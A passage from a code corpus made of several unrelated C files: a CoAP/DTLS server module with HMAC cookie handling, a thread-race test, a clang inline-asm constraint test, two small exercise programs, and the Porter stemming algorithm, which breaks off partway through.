// Iterte over all CoAP servers, trying to find a free slot
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if (cs->instance == INVALID)
{
return cs;
}
}
// If the code gets here, then no free CoAP servers were found
return NULL;
}
/*********************************************************************//**
**
** FindCoapServerByInstance
**
** Finds the coap server entry with the specified instance number (from Device.LocalAgent.MTP.{i})
**
** \param instance - instance number in Device.LocalAgent.MTP.{i} for this server
** \param interface - Name of network interface to listen on. NULL indicates just find the first
**
** \return pointer to matching CoAP server, or NULL if none found
**
**************************************************************************/
coap_server_t *FindCoapServerByInstance(int instance, char *interface)
{
int i;
coap_server_t *cs;
// Iterate over all CoAP servers, trying to find a matching slot
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if (cs->instance == instance)
{
if ((interface==NULL) || (strcmp(cs->interface, interface)==0))
{
return cs;
}
}
}
// If the code gets here, then no matching CoAP servers were found
return NULL;
}
/*********************************************************************//**
**
** FindFirstCoapServerByInterface
**
** Finds the first coap server listening on the specified interface
** NOTE: There may be more than one coap server on the specified interface - just listening on a different port
** In this case, we return the first one
**
** \param interface - Name of network interface to listen on. NULL indicates just find the first
** \parm encryption_preference - set if we are sending to the USP Controller using encryption
** (in which case we try to find a server that the USP Controller can reply to, which is also encrypted)
**
** \return pointer to matching CoAP server, or NULL if none found
**
**************************************************************************/
coap_server_t *FindFirstCoapServerByInterface(char *interface, bool encryption_preference)
{
int i;
coap_server_t *cs;
coap_server_t *first_match = NULL;
coap_server_t *any_match = NULL;
// Iterate over all CoAP servers, trying to find a slot that matches both interface and encryption preference
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if ((cs->instance != INVALID) && (strcmp(cs->interface, interface)==0))
{
if (cs->enable_encryption==encryption_preference)
{
return cs;
}
// If encryption preference was not met, but interface was, take note of this CoAP server as a fallback
if (first_match == NULL)
{
first_match = cs;
}
}
}
// If the code gets here, then no perfectly matching CoAP server was found
// However there might be a server listening on all network interfaces which matches the encryption preference
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if ((cs->instance != INVALID) && (strcmp(cs->interface, "any")==0))
{
if (cs->enable_encryption==encryption_preference)
{
return cs;
}
// If encryption preference was not met, take note of this CoAP server as a fallback
if (any_match == NULL)
{
any_match = cs;
}
}
}
// If the code gets here, then there was no server which matched the encryption preference
// So return the first server that matches just by interface
if (first_match != NULL)
{
return first_match;
}
if (any_match != NULL)
{
return any_match;
}
// If the code gets here, then there is no CoAP server which listens on the interface
return NULL;
}
/*********************************************************************//**
**
** CalcCoapServerCookie
**
** Called by OpenSSL to generate a cookie for a given peer
** The cookie is generated according to RFC 4347: Cookie = HMAC(Secret, Client-IP, Client-Parameters)
**
** \param ssl - pointer to SSL object, ultimately specifying the peer
** \param buf - pointer to buffer in which to return the cookie
** \param p_len - pointer to variable in which to return the length of the cookie
**
** \return 1 if successful, 0 otherwise
**
**************************************************************************/
int CalcCoapServerCookie(SSL *ssl, unsigned char *buf, unsigned int *p_len)
{
struct sockaddr_storage peer;
unsigned char *result;
int err;
// Exit if unable to extract peer IP address and port
memset(&peer, 0, sizeof(peer));
err = BIO_dgram_get_peer(SSL_get_rbio(ssl), &peer);
if (err <= 0)
{
USP_LOG_Error("%s: BIO_dgram_get_peer() failed", __FUNCTION__);
return 0;
}
// Exit if unable to calculate HMAC of peer address and port using our secret hmac key
result = HMAC( EVP_sha1(),
(const void*) coap_hmac_key, sizeof(coap_hmac_key),
(const unsigned char*) &peer, sizeof(peer),
buf, p_len);
if (result == NULL)
{
USP_LOG_Error("%s: HMAC() failed", __FUNCTION__);
return 0;
}
return 1;
}
/*********************************************************************//**
**
** VerifyCoapServerCookie
**
** Called by OpenSSL to verify that the cookie being returned by the peer matches the one sent to it
** The cookie is generated according to RFC 4347: Cookie = HMAC(Secret, Client-IP, Client-Parameters)
**
** \param cc - pointer to structure describing coap client to update
** \param buf - pointer to buffer containing cookie returned by peer
** \param len - length of buffer containing cookie returned by peer
**
** \return 1 if cookie is correct, 0 if cookie is incorrect
**
**************************************************************************/
int VerifyCoapServerCookie(SSL *ssl, SSL_CONST unsigned char *buf, unsigned int len)
{
unsigned char expected[EVP_MAX_MD_SIZE];
unsigned int expected_len;
int err;
// Exit if unable to calculate the cookie that we sent to the peer
expected_len = sizeof(expected); // I don't think that this is necessary
err = CalcCoapServerCookie(ssl, expected, &expected_len);
if (err != 1)
{
USP_LOG_Error("%s: CalcCoapServerCookie() failed", __FUNCTION__);
return 0;
}
// Exit if the received cookie did not match the one sent
if ((len != expected_len) || (memcmp(buf, expected, len) != 0))
{
USP_LOG_Error("%s: Received DTLS cookie did not match that sent", __FUNCTION__);
return 0;
}
// If the code gets here, then the received cookie is correct
return 1;
}
/*********************************************************************//**
**
** CalcUriQueryOption
**
** Calculates the value of the URI Query option for the specified coap client
**
** \param socket_fd - connected socket which the CoAP client is using to send to the USP Controller
** \parm encryption_preference - set if we are sending to the USP Controller using encryption
** (in which case we try to find a server that the USP Controller can reply to, which is also encrypted)
** \param buf - buffer in which to return the URI query option
** \param len - length of buffer in which to return the URI query option
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int CalcUriQueryOption(int socket_fd, bool encryption_preference, char *buf, int len)
{
int err;
char src_addr[NU_IPADDRSTRLEN];
char interface[IFNAMSIZ];
coap_server_t *cs;
char *protocol;
char resource_name[MAX_DM_SHORT_VALUE_LEN];
// Exit if unable to determine the source IP address of the client socket
USP_ASSERT(socket_fd != INVALID);
err = nu_ipaddr_get_interface_addr_from_sock_fd(socket_fd, src_addr, sizeof(src_addr));
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: nu_ipaddr_get_interface_addr_from_sock_fd() failed", __FUNCTION__);
return err;
}
// Exit if unable to determine the network interface used by the client socket
err = nu_ipaddr_get_interface_name_from_src_addr(src_addr, interface, sizeof(interface));
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: nu_ipaddr_get_interface_name_from_src_addr(%s) failed", __FUNCTION__, src_addr);
return err;
}
// Exit if we don't have any coap servers listening on the interface (that our coap client is sending on)
cs = FindFirstCoapServerByInterface(interface, encryption_preference);
if (cs == NULL)
{
USP_LOG_Error("%s: No CoAP servers listening on interface=%s", __FUNCTION__, interface);
return USP_ERR_INTERNAL_ERROR;
}
// Percent encode our resource name
TEXT_UTILS_PercentEncodeString(cs->listen_resource, resource_name, sizeof(resource_name), '/');
// Fill in the URI query option. This specifies where the USP controller should send responses to
// NOTE: We use src_addr instead of cs->listen_addr in the reply-to because our CoAP server might be listening on "any" interface
protocol = (cs->enable_encryption) ? "coaps" : "coap";
USP_SNPRINTF(buf, len, "reply-to=%s://%s:%d/%s", protocol, src_addr, cs->listen_port, resource_name);
return USP_ERR_OK;
}
/*********************************************************************//**
**
** LogRxedCoapPdu
**
** Logs the CoAP PDU that has been received
**
** \param pp - pointer to parsed CoAP PDU
**
** \return None
**
**************************************************************************/
void LogRxedCoapPdu(parsed_pdu_t *pp)
{
if (pp->options_present & BLOCK1_PRESENT)
{
char *last_block_str = (pp->is_more_blocks == 0) ? " (last)" : "";
USP_PROTOCOL("%s: Received CoAP PDU (MID=%d) block=%d%s (%d bytes)", __FUNCTION__, pp->message_id, pp->rxed_block, last_block_str, pp->payload_len);
}
else
{
USP_PROTOCOL("%s: Received CoAP PDU (MID=%d) (%d bytes)", __FUNCTION__, pp->message_id, pp->payload_len);
}
}
/*********************************************************************//**
**
** UpdateCoapServerInterfaces
**
** Called to determine whether the IP address used for any of our CoAP servers has changed
** NOTE: This function only checks the IP address periodically
**
** \param None
**
** \return Number of seconds remaining until next time to poll the interfaces for IP address change
**
**************************************************************************/
int UpdateCoapServerInterfaces(void)
{
int i, j;
coap_server_t *cs;
coap_server_session_t *css;
bool has_changed;
time_t cur_time;
int timeout;
static bool is_first_time = true; // The first time this function is called, it just sets up the IP address and next_coap_server_if_poll_time
bool has_addr = false;
// Exit if it's not yet time to poll the network interface addresses
cur_time = time(NULL);
if (is_first_time == false)
{
timeout = next_coap_server_if_poll_time - cur_time;
if (timeout > 0)
{
goto exit;
}
}
// Iterate over all CoAP servers that are attached to a single network interface
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if ((cs->instance != INVALID) && (strcmp(cs->interface, "any") != 0))
{
has_changed = nu_ipaddr_has_interface_addr_changed(cs->interface, cs->listen_addr, &has_addr);
if ((has_changed) && (has_addr))
{
USP_LOG_Error("%s: Restarting CoAP server on interface=%s after IP address change", __FUNCTION__, cs->interface);
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
StopCoapSession(css);
}
// Attempt to restart CoAP listening socket for this server
close(cs->listen_sock);
cs->listen_sock = INVALID;
StartCoapListenSock(cs); // NOTE: We can ignore any errors, as UpdateCoapServerInterfaces() will retry later
}
}
}
// Set next time to poll for IP address change
#define COAP_SERVER_IP_ADDR_POLL_PERIOD 5
timeout = COAP_SERVER_IP_ADDR_POLL_PERIOD;
next_coap_server_if_poll_time = cur_time + timeout;
is_first_time = false;
exit:
return timeout;
}
#endif // ENABLE_COAP
|
the_stack_data/72012783.c | #include <pthread.h>
#include <stdio.h>
#include <stdatomic.h>
atomic_int myglobal;
pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;
void *t_fun(void *arg) {
pthread_mutex_lock(&mutex1);
myglobal=myglobal+1; // NORACE
pthread_mutex_unlock(&mutex1);
return NULL;
}
int main(void) {
pthread_t id;
pthread_create(&id, NULL, t_fun, NULL);
pthread_mutex_lock(&mutex2);
myglobal=myglobal+1; // NORACE
pthread_mutex_unlock(&mutex2);
pthread_join (id, NULL);
return 0;
}
|
the_stack_data/899279.c | // RUN: %clang_cc1 -triple i686 %s -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 -triple x86_64 %s -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 -triple arm %s -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 -triple mips %s -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 -triple mipsel %s -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 -triple powerpc %s -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 -triple powerpc64 %s -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 -triple s390x %s -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 -triple sparc %s -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 -triple sparcv9 %s -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 -triple thumb %s -emit-llvm -o - | FileCheck %s
int mout0;
int min1;
int marray[2];
// CHECK: @single_m
void single_m(void)
{
// CHECK: call void asm "foo $1,$0", "=*m,*m[[CLOBBERS:[a-zA-Z0-9@%{},~_$ ]*\"]](i32* elementtype(i32) {{[a-zA-Z0-9@%]+}}, i32* elementtype(i32) {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=m" (mout0) : "m" (min1));
}
// CHECK: @single_o
void single_o(void)
{
register int out0 = 0;
register int index = 1;
// Doesn't really do an offset...
//asm("foo %1, %2,%0" : "=r" (out0) : "o" (min1));
}
// CHECK: @single_V
void single_V(void)
{
// asm("foo %1,%0" : "=m" (mout0) : "V" (min1));
}
// CHECK: @single_lt
void single_lt(void)
{
register int out0 = 0;
register int in1 = 1;
// CHECK: call i32 asm "foo $1,$0", "=r,<r[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r" (out0) : "<r" (in1));
// CHECK: call i32 asm "foo $1,$0", "=r,r<[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r" (out0) : "r<" (in1));
}
// CHECK: @single_gt
void single_gt(void)
{
register int out0 = 0;
register int in1 = 1;
// CHECK: call i32 asm "foo $1,$0", "=r,>r[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r" (out0) : ">r" (in1));
// CHECK: call i32 asm "foo $1,$0", "=r,r>[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r" (out0) : "r>" (in1));
}
// CHECK: @single_r
void single_r(void)
{
register int out0 = 0;
register int in1 = 1;
// CHECK: call i32 asm "foo $1,$0", "=r,r[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r" (out0) : "r" (in1));
}
// CHECK: @single_i
void single_i(void)
{
register int out0 = 0;
// CHECK: call i32 asm "foo $1,$0", "=r,i[[CLOBBERS]](i32 1)
asm("foo %1,%0" : "=r" (out0) : "i" (1));
}
// CHECK: @single_n
void single_n(void)
{
register int out0 = 0;
// CHECK: call i32 asm "foo $1,$0", "=r,n[[CLOBBERS]](i32 1)
asm("foo %1,%0" : "=r" (out0) : "n" (1));
}
// CHECK: @single_E
void single_E(void)
{
register double out0 = 0.0;
// CHECK: call double asm "foo $1,$0", "=r,E[[CLOBBERS]](double {{[0-9.eE+-]+}})
asm("foo %1,%0" : "=r" (out0) : "E" (1.0e+01));
}
// CHECK: @single_F
void single_F(void)
{
register double out0 = 0.0;
// CHECK: call double asm "foo $1,$0", "=r,F[[CLOBBERS]](double {{[0-9.eE+-]+}})
asm("foo %1,%0" : "=r" (out0) : "F" (1.0));
}
// CHECK: @single_s
void single_s(void)
{
register int out0 = 0;
//asm("foo %1,%0" : "=r" (out0) : "s" (single_s));
}
// CHECK: @single_g
void single_g(void)
{
register int out0 = 0;
register int in1 = 1;
// CHECK: call i32 asm "foo $1,$0", "=r,imr[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r" (out0) : "g" (in1));
// CHECK: call i32 asm "foo $1,$0", "=r,imr[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r" (out0) : "g" (min1));
// CHECK: call i32 asm "foo $1,$0", "=r,imr[[CLOBBERS]](i32 1)
asm("foo %1,%0" : "=r" (out0) : "g" (1));
}
// CHECK: @single_X
void single_X(void)
{
register int out0 = 0;
register int in1 = 1;
// CHECK: call i32 asm "foo $1,$0", "=r,X[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r" (out0) : "X" (in1));
// CHECK: call i32 asm "foo $1,$0", "=r,X[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r" (out0) : "X" (min1));
// CHECK: call i32 asm "foo $1,$0", "=r,X[[CLOBBERS]](i32 1)
asm("foo %1,%0" : "=r" (out0) : "X" (1));
// CHECK: call i32 asm "foo $1,$0", "=r,X[[CLOBBERS]](i32* getelementptr inbounds ([2 x i32], [2 x i32]* {{[a-zA-Z0-9@%]+}}, i{{32|64}} 0, i{{32|64}} 0))
asm("foo %1,%0" : "=r" (out0) : "X" (marray));
// CHECK: call i32 asm "foo $1,$0", "=r,X[[CLOBBERS]](double {{[0-9.eE+-]+}})
asm("foo %1,%0" : "=r" (out0) : "X" (1.0e+01));
// CHECK: call i32 asm "foo $1,$0", "=r,X[[CLOBBERS]](double {{[0-9.eE+-]+}})
asm("foo %1,%0" : "=r" (out0) : "X" (1.0));
}
// CHECK: @single_p
void single_p(void)
{
register int out0 = 0;
// Constraint converted differently on different platforms moved to platform-specific.
// : call i32 asm "foo $1,$0", "=r,im[[CLOBBERS]](i32* getelementptr inbounds ([2 x i32], [2 x i32]* {{[a-zA-Z0-9@%]+}}, i{{32|64}} 0, i{{32|64}} 0))
asm("foo %1,%0" : "=r" (out0) : "p" (marray));
}
// CHECK: @multi_m
void multi_m(void)
{
// CHECK: call void asm "foo $1,$0", "=*m|r,m|r[[CLOBBERS]](i32* elementtype(i32) {{[a-zA-Z0-9@%]+}}, i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=m,r" (mout0) : "m,r" (min1));
}
// CHECK: @multi_o
void multi_o(void)
{
register int out0 = 0;
register int index = 1;
// Doesn't really do an offset...
//asm("foo %1, %2,%0" : "=r,r" (out0) : "r,o" (min1));
}
// CHECK: @multi_V
void multi_V(void)
{
// asm("foo %1,%0" : "=m,r" (mout0) : "r,V" (min1));
}
// CHECK: @multi_lt
void multi_lt(void)
{
register int out0 = 0;
register int in1 = 1;
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|<r[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,<r" (in1));
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|r<[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,r<" (in1));
}
// CHECK: @multi_gt
void multi_gt(void)
{
register int out0 = 0;
register int in1 = 1;
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|>r[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,>r" (in1));
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|r>[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,r>" (in1));
}
// CHECK: @multi_r
void multi_r(void)
{
register int out0 = 0;
register int in1 = 1;
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|m[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,m" (in1));
}
// CHECK: @multi_i
void multi_i(void)
{
register int out0 = 0;
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|i[[CLOBBERS]](i32 1)
asm("foo %1,%0" : "=r,r" (out0) : "r,i" (1));
}
// CHECK: @multi_n
void multi_n(void)
{
register int out0 = 0;
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|n[[CLOBBERS]](i32 1)
asm("foo %1,%0" : "=r,r" (out0) : "r,n" (1));
}
// CHECK: @multi_E
void multi_E(void)
{
register double out0 = 0.0;
// CHECK: call double asm "foo $1,$0", "=r|r,r|E[[CLOBBERS]](double {{[0-9.eE+-]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,E" (1.0e+01));
}
// CHECK: @multi_F
void multi_F(void)
{
register double out0 = 0.0;
// CHECK: call double asm "foo $1,$0", "=r|r,r|F[[CLOBBERS]](double {{[0-9.eE+-]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,F" (1.0));
}
// CHECK: @multi_s
void multi_s(void)
{
register int out0 = 0;
//asm("foo %1,%0" : "=r,r" (out0) : "r,s" (multi_s));
}
// CHECK: @multi_g
void multi_g(void)
{
register int out0 = 0;
register int in1 = 1;
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|imr[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,g" (in1));
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|imr[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,g" (min1));
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|imr[[CLOBBERS]](i32 1)
asm("foo %1,%0" : "=r,r" (out0) : "r,g" (1));
}
// CHECK: @multi_X
void multi_X(void)
{
register int out0 = 0;
register int in1 = 1;
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|X[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,X" (in1));
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|X[[CLOBBERS]](i32 {{[a-zA-Z0-9@%]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,X" (min1));
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|X[[CLOBBERS]](i32 1)
asm("foo %1,%0" : "=r,r" (out0) : "r,X" (1));
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|X[[CLOBBERS]](i32* getelementptr inbounds ([2 x i32], [2 x i32]* {{[a-zA-Z0-9@%]+}}, i{{32|64}} 0, i{{32|64}} 0))
asm("foo %1,%0" : "=r,r" (out0) : "r,X" (marray));
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|X[[CLOBBERS]](double {{[0-9.eE+-]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,X" (1.0e+01));
// CHECK: call i32 asm "foo $1,$0", "=r|r,r|X[[CLOBBERS]](double {{[0-9.eE+-]+}})
asm("foo %1,%0" : "=r,r" (out0) : "r,X" (1.0));
}
// CHECK: @multi_p
void multi_p(void)
{
register int out0 = 0;
// Constraint converted differently on different platforms moved to platform-specific.
// : call i32 asm "foo $1,$0", "=r|r,r|im[[CLOBBERS]](i32* getelementptr inbounds ([2 x i32], [2 x i32]* {{[a-zA-Z0-9@%]+}}, {{i[0-9]*}} 0, {{i[0-9]*}} 0))
asm("foo %1,%0" : "=r,r" (out0) : "r,p" (marray));
}
|
the_stack_data/84714.c | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define MAX_LEN 256
int main() {
int nr = 0;
int n;
FILE *fp;
char buffer[1000];
fp = fopen("input_1", "r");
if(fp == NULL) {
perror("Failed to open the file");
return 1;
}
fgets(buffer, MAX_LEN, fp);
buffer[strlen(buffer) - 1] = '\0';
n = atoi(buffer);
while(fgets(buffer, MAX_LEN, fp)) {
buffer[strlen(buffer) - 1] = '\0';
if(n < atoi(buffer)) {
nr++;
}
n = atoi(buffer);
}
printf("%d\n", nr);
fclose(fp);
return 0;
}
|
the_stack_data/703957.c | #include <stdio.h>
int partition(int *a,int left,int right){//这个函数用来对数组进行分隔
int tag=a[left];
int temp;
for(;;){
if(left<right){
while(a[right]<tag)
right--;
//保证循环结束时 left = right
if(left>=right)
break;
temp=a[right];
a[right]=a[left];
a[left++]=temp;
}
else
break;
if(left<right){
while(a[left]>tag)
left++;
//保证循环结束时 left = right
if(left>=right)
break;
temp=a[left];
a[left]=a[right];
a[right--]=temp;
}
else
break;
}
return right;//返回分界点
}
void quicksort(int a[],int left,int right){//找到中值
int middle;
if(left<right){
middle=partition(a,left,right);
quicksort(a,left,middle-1);
quicksort(a,middle+1,right);
}
else
return;
}
int main(){
int a[1000000],n,k,i,times=1,se=1;
scanf("%d",&n);
for(i=0;i<n;i++){
scanf("%d ",&a[i]);
}
quicksort(a,0,n-1);//引用函数
/*for(i=0;i<n;i++){
printf("%d ",a[i]);
}
*/
scanf("%d",&k);
for(i=0;se<k;i++){
if(a[i]==a[i+1]){
continue;
}
else{
se++;
}
}
printf("%d ",a[i]);
for(;;){
i++;
if(a[i]==a[i-1]){
times++;
}
else{
break;
}
}
printf("%d\n",times);
return 0;
} |
the_stack_data/43514.c | /* This is the Porter stemming algorithm, coded up in ANSI C by the
author. It may be be regarded as canonical, in that it follows the
algorithm presented in
Porter, 1980, An algorithm for suffix stripping, Program, Vol. 14,
no. 3, pp 130-137,
only differing from it at the points marked --DEPARTURE-- below.
See also http://www.tartarus.org/~martin/PorterStemmer
The algorithm as described in the paper could be exactly replicated
by adjusting the points of DEPARTURE, but this is barely necessary,
because (a) the points of DEPARTURE are definitely improvements, and
(b) no encoding of the Porter stemmer I have seen is anything like
as exact as this version, even with the points of DEPARTURE!
You can compile it on Unix with 'gcc -O3 -o stem stem.c' after which
'stem' takes a list of inputs and sends the stemmed equivalent to
stdout.
The algorithm as encoded here is particularly fast.
Release 1: was many years ago
Release 2: 11 Apr 2013
fixes a bug noted by Matt Patenaude <[email protected]>,
case 'o': if (ends("\03" "ion") && (b[j] == 's' || b[j] == 't')) break;
==>
case 'o': if (ends("\03" "ion") && j >= k0 && (b[j] == 's' || b[j] == 't')) break;
to avoid accessing b[k0-1] when the word in b is "ion".
Release 3: 25 Mar 2014
fixes a similar bug noted by Klemens Baum <[email protected]>,
that if step1ab leaves a one letter result (ied -> i, aing -> a etc),
step2 and step4 access the byte before the first letter. So we skip
steps after step1ab unless k > k0.
*/
#include <string.h> /* for memmove */
#define TRUE 1
#define FALSE 0
/* The main part of the stemming algorithm starts here. b is a buffer
holding a word to be stemmed. The letters are in b[k0], b[k0+1] ...
ending at b[k]. In fact k0 = 0 in this demo program. k is readjusted
downwards as the stemming progresses. Zero termination is not in fact
used in the algorithm.
Note that only lower case sequences are stemmed. Forcing to lower case
should be done before stem(...) is called.
*/
static char * b; /* buffer for word to be stemmed */
static int k,k0,j; /* j is a general offset into the string */
/* cons(i) is TRUE <=> b[i] is a consonant. */
static int cons(int i)
{ switch (b[i])
{ case 'a': case 'e': case 'i': case 'o': case 'u': return FALSE;
case 'y': return (i==k0) ? TRUE : !cons(i-1);
default: return TRUE;
}
}
/* m() measures the number of consonant sequences between k0 and j. if c is
a consonant sequence and v a vowel sequence, and <..> indicates arbitrary
presence,
<c><v> gives 0
<c>vc<v> gives 1
<c>vcvc<v> gives 2
<c>vcvcvc<v> gives 3
....
*/
static int m()
{ int n = 0;
int i = k0;
while(TRUE)
{ if (i > j) return n;
if (! cons(i)) break; i++;
}
i++;
while(TRUE)
{ while(TRUE)
{ if (i > j) return n;
if (cons(i)) break;
i++;
}
i++;
n++;
while(TRUE)
{ if (i > j) return n;
if (! cons(i)) break;
i++;
}
i++;
}
}
/* vowelinstem() is TRUE <=> k0,...j contains a vowel */
static int vowelinstem()
{ int i; for (i = k0; i <= j; i++) if (! cons(i)) return TRUE;
return FALSE;
}
/* doublec(j) is TRUE <=> j,(j-1) contain a double consonant. */
static int doublec(int j)
{ if (j < k0+1) return FALSE;
if (b[j] != b[j-1]) return FALSE;
return cons(j);
}
/* cvc(i) is TRUE <=> i-2,i-1,i has the form consonant - vowel - consonant
and also if the second c is not w,x or y. this is used when trying to
restore an e at the end of a short word. e.g.
cav(e), lov(e), hop(e), crim(e), but
snow, box, tray.
*/
static int cvc(int i)
{ if (i < k0+2 || !cons(i) || cons(i-1) || !cons(i-2)) return FALSE;
{ int ch = b[i];
if (ch == 'w' || ch == 'x' || ch == 'y') return FALSE;
}
return TRUE;
}
/* ends(s) is TRUE <=> k0,...k ends with the string s. */
static int ends(char * s)
{ int length = s[0];
if (s[length] != b[k]) return FALSE; /* tiny speed-up */
if (length > k-k0+1) return FALSE;
if (memcmp(b+k-length+1,s+1,length) != 0) return FALSE;
j = k-length;
return TRUE;
}
/* setto(s) sets (j+1),...k to the characters in the string s, readjusting
k. */
static void setto(char * s)
{ int length = s[0];
memmove(b+j+1,s+1,length);
k = j+length;
}
/* r(s) is used further down. */
static void r(char * s) { if (m() > 0) setto(s); }
/* step1ab() gets rid of plurals and -ed or -ing. e.g.
caresses -> caress
ponies -> poni
ties -> ti
caress -> caress
cats -> cat
feed -> feed
agreed -> agree
disabled -> disable
matting -> mat
mating -> mate
meeting -> meet
milling -> mill
messing -> mess
meetings -> meet
*/
static void step1ab()
{ if (b[k] == 's')
{ if (ends("\04" "sses")) k -= 2; else
if (ends("\03" "ies")) setto("\01" "i"); else
if (b[k-1] != 's') k--;
}
if (ends("\03" "eed")) { if (m() > 0) k--; } else
if ((ends("\02" "ed") || ends("\03" "ing")) && vowelinstem())
{ k = j;
if (ends("\02" "at")) setto("\03" "ate"); else
if (ends("\02" "bl")) setto("\03" "ble"); else
if (ends("\02" "iz")) setto("\03" "ize"); else
if (doublec(k))
{ k--;
{ int ch = b[k];
if (ch == 'l' || ch == 's' || ch == 'z') k++;
}
}
else if (m() == 1 && cvc(k)) setto("\01" "e");
}
}
/* step1c() turns terminal y to i when there is another vowel in the stem. */
static void step1c() { if (ends("\01" "y") && vowelinstem()) b[k] = 'i'; }
/* step2() maps double suffices to single ones. so -ization ( = -ize plus
-ation) maps to -ize etc. note that the string before the suffix must give
m() > 0. */
static void step2() { switch (b[k-1])
{
case 'a': if (ends("\07" "ational")) { r("\03" "ate"); break; }
if (ends("\06" "tional")) { r("\04" "tion"); break; }
break;
case 'c': if (ends("\04" "enci")) { r("\04" "ence"); break; }
if (ends("\04" "anci")) { r("\04" "ance"); break; }
break;
case 'e': if (ends("\04" "izer")) { r("\03" "ize"); break; }
break;
case 'l': if (ends("\03" "bli")) { r("\03" "ble"); break; } /*-DEPARTURE-*/
/* To match the published algorithm, replace this line with
case 'l': if (ends("\04" "abli")) { r("\04" "able"); break; } */
if (ends("\04" "alli")) { r("\02" "al"); break; }
if (ends("\05" "entli")) { r("\03" "ent"); break; }
if (ends("\03" "eli")) { r("\01" "e"); break; }
if (ends("\05" "ousli")) { r("\03" "ous"); break; }
break;
case 'o': if (ends("\07" "ization")) { r("\03" "ize"); break; }
if (ends("\05" "ation")) { r("\03" "ate"); break; }
if (ends("\04" "ator")) { r("\03" "ate"); break; }
break;
case 's': if (ends("\05" "alism")) { r("\02" "al"); break; }
if (ends("\07" "iveness")) { r("\03" "ive"); break; }
if (ends("\07" "fulness")) { r("\03" "ful"); break; }
if (ends("\07" "ousness")) { r("\03" "ous"); break; }
break;
case 't': if (ends("\05" "aliti")) { r("\02" "al"); break; }
if (ends("\05" "iviti")) { r("\03" "ive"); break; }
if (ends("\06" "biliti")) { r("\03" "ble"); break; }
break;
case 'g': if (ends("\04" "logi")) { r("\03" "log"); break; } /*-DEPARTURE-*/
/* To match the published algorithm, delete this line */
} }
/* step3() deals with -ic-, -full, -ness etc. similar strategy to step2. */
static void step3() { switch (b[k])
{
case 'e': if (ends("\05" "icate")) { r("\02" "ic"); break; }
if (ends("\05" "ative")) { r("\00" ""); break; }
if (ends("\05" "alize")) { r("\02" "al"); break; }
break;
case 'i': if (ends("\05" "iciti")) { r("\02" "ic"); break; }
break;
case 'l': if (ends("\04" "ical")) { r("\02" "ic"); break; }
if (ends("\03" "ful")) { r("\00" ""); break; }
break;
